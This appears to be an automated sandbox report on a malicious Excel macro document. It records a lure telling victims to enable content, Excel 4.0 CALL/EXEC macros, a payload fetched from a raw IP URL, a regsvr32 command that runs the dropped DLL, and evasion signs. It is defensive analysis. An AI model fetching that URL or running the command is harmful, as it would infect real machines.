    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://powerlift.acompli.net
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: https://sectigo.com/CPS0
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://settings.outlook.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://shell.suite.office.com:1443
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://skyapi.live.net/Activity/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://staging.cortana.ai
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://store.office.cn/addinstemplate
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://store.office.com/addinstemplate
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://store.office.de/addinstemplate
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://tasks.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://templatelogging.office.com/client/log
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://web.microsoftstream.com/video/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://webshell.suite.office.com
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://wus2.contentsync.
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://wus2.pagecontentsync.
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
    Source: sat1_0609_2[1].dll.0.drString found in binary or memory: https://www.digicert.com/CPS0
    Source: 020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drString found in binary or memory: https://www.odwebp.svc.ms

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 4Screenshot OCR: Enable editing " to unlock the editing document downloaded from the ir 13 14 Protected View This f
    Source: Screenshot number: 4Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start " 18 the decryption of the doc
    Found Excel 4.0 Macro with suspicious formulasShow sources
    Source: Delivery_Information_7038598.xlsbInitial sample: CALL
    Source: Delivery_Information_7038598.xlsbInitial sample: CALL
    Source: Delivery_Information_7038598.xlsbInitial sample: EXEC
    Office process drops PE fileShow sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\kdldyeff.dllJump to dropped file
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dllJump to dropped file
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
    Source: classification engineClassification label: mal88.expl.evad.winXLSB@3/11@0/1
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{7BE2EDF5-A9C4-4DEF-9DC0-1522802C2D95} - OProcSessId.datJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dllJump to behavior
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: Delivery_Information_7038598.xlsbInitial sample: OLE zip file path = xl/media/image1.png
    Source: Delivery_Information_7038598.xlsbInitial sample: OLE zip file path = xl/media/image2.png
    Source: Delivery_Information_7038598.xlsbInitial sample: OLE zip file path = xl/media/image3.png
    Source: Delivery_Information_7038598.xlsbInitial sample: OLE zip file path = xl/media/image4.png
    Source: Delivery_Information_7038598.xlsbInitial sample: OLE zip file path = xl/media/image5.png
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\kdldyeff.dll
    Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 2_2_03042ABC push dword ptr [edx+14h]; ret 2_2_03042BFD
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\kdldyeff.dllJump to dropped file
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dllJump to dropped file
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\kdldyeff.dllJump to dropped file

    Boot Survival:

    barindex
    Drops PE files to the user root directoryShow sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\kdldyeff.dllJump to dropped file
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sat1_0609_2[1].dllJump to dropped file
    Source: C:\Windows\SysWOW64\regsvr32.exe TID: 4600Thread sleep time: -70000s >= -30000sJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeThread delayed: delay time: 70000Jump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeProcess queried: DebugPortJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeProcess queried: DebugPortJump to behavior
    Source: Yara matchFile source: app.xml, type: SAMPLE

    Mitre Att&ck Matrix

    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsScripting1DLL Side-Loading1Process Injection1Masquerading111OS Credential DumpingSecurity Software Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumIngress Tool Transfer11Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default AccountsExploitation for Client Execution42Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemoryVirtualization/Sandbox Evasion21Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Virtualization/Sandbox Evasion21Security Account ManagerFile and Directory Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol21Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Process Injection1NTDSSystem Information Discovery2Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptScripting1LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.commonObfuscated Files or Information1Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
    External Remote ServicesScheduled TaskStartup ItemsStartup ItemsRegsvr321DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
    Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobDLL Side-Loading1Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.

    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    Delivery_Information_7038598.xlsb2%VirustotalBrowse

    Dropped Files

    No Antivirus matches

    Unpacked PE Files

    No Antivirus matches

    Domains

    No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://cdn.entity.0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://powerlift.acompli.net0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://cortana.ai0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://api.aadrm.com/0%URL Reputationsafe
    https://ofcrecsvcapi-int.azurewebsites.net/0%Avira URL Cloudsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
    https://officeci.azurewebsites.net/api/0%Avira URL Cloudsafe
    http://185.180.199.121/sat1_0609_2.dll0%Avira URL Cloudsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.office.cn/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://store.officeppe.com/addinstemplate0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    https://www.odwebp.svc.ms0%URL Reputationsafe
    http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
    http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
    http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://dataservice.o365filtering.com/0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://ncus.contentsync.0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://apis.live.net/v5.0/0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    https://wus2.contentsync.0%URL Reputationsafe
    http://ocsp.sectigo.com00%URL Reputationsafe
    http://ocsp.sectigo.com00%URL Reputationsafe
    http://ocsp.sectigo.com00%URL Reputationsafe
    https://asgsmsproxyapi.azurewebsites.net/0%Avira URL Cloudsafe
    http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
    http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
    http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://ncus.pagecontentsync.0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://skyapi.live.net/Activity/0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://dataservice.o365filtering.com0%URL Reputationsafe
    https://sectigo.com/CPS00%URL Reputationsafe
    https://sectigo.com/CPS00%URL Reputationsafe
    https://sectigo.com/CPS00%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe
    https://api.cortana.ai0%URL Reputationsafe

    Domains and IPs

    Contacted Domains

    No contacted domains info

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://185.180.199.121/sat1_0609_2.dllfalse
    • Avira URL Cloud: safe
    unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    https://api.diagnosticssdf.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
      high
      https://login.microsoftonline.com/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
        high
        https://shell.suite.office.com:1443020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
          high
          https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
            high
            https://autodiscover-s.outlook.com/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
              high
              https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                high
                https://cdn.entity.020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                • URL Reputation: safe
                unknown
                https://api.addins.omex.office.net/appinfo/query020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                  high
                  https://clients.config.office.net/user/v1.0/tenantassociationkey020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                    high
                    https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                      high
                      https://powerlift.acompli.net020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://rpsticket.partnerservices.getmicrosoftkey.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      • URL Reputation: safe
                      unknown
                      https://lookup.onenote.com/lookup/geolocation/v1020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                        high
                        https://cortana.ai020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        • URL Reputation: safe
                        unknown
                        https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                          high
                          https://cloudfiles.onenote.com/upload.aspx020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                            high
                            https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                              high
                              https://entitlement.diagnosticssdf.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                high
                                https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                  high
                                  https://api.aadrm.com/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  • URL Reputation: safe
                                  unknown
                                  https://ofcrecsvcapi-int.azurewebsites.net/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                    high
                                    https://api.microsoftstream.com/api/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                      high
                                      https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                        high
                                        https://cr.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                          high
                                          https://portal.office.com/account/?ref=ClientMeControl020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                            high
                                            https://ecs.office.com/config/v2/Office020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                              high
                                              https://graph.ppe.windows.net020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                high
                                                https://res.getmicrosoftkey.com/api/redemptionevents020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://powerlift-frontdesk.acompli.net020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                • URL Reputation: safe
                                                unknown
                                                https://tasks.office.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                  high
                                                  https://officeci.azurewebsites.net/api/020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://sr.outlook.office.net/ws/speech/recognize/assistant/work020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                    high
                                                    https://store.office.cn/addinstemplate020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://outlook.office.com/autosuggest/api/v1/init?cvid=020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                      high
                                                      https://globaldisco.crm.dynamics.com020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                        high
                                                        https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                          high
                                                          https://store.officeppe.com/addinstemplate020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://dev0-api.acompli.net/autodetect020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://www.odwebp.svc.ms020EDADF-4CF2-4A17-8391-1EC74C095F72.0.drfalse
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          • URL Reputation: safe
                                                          unknown
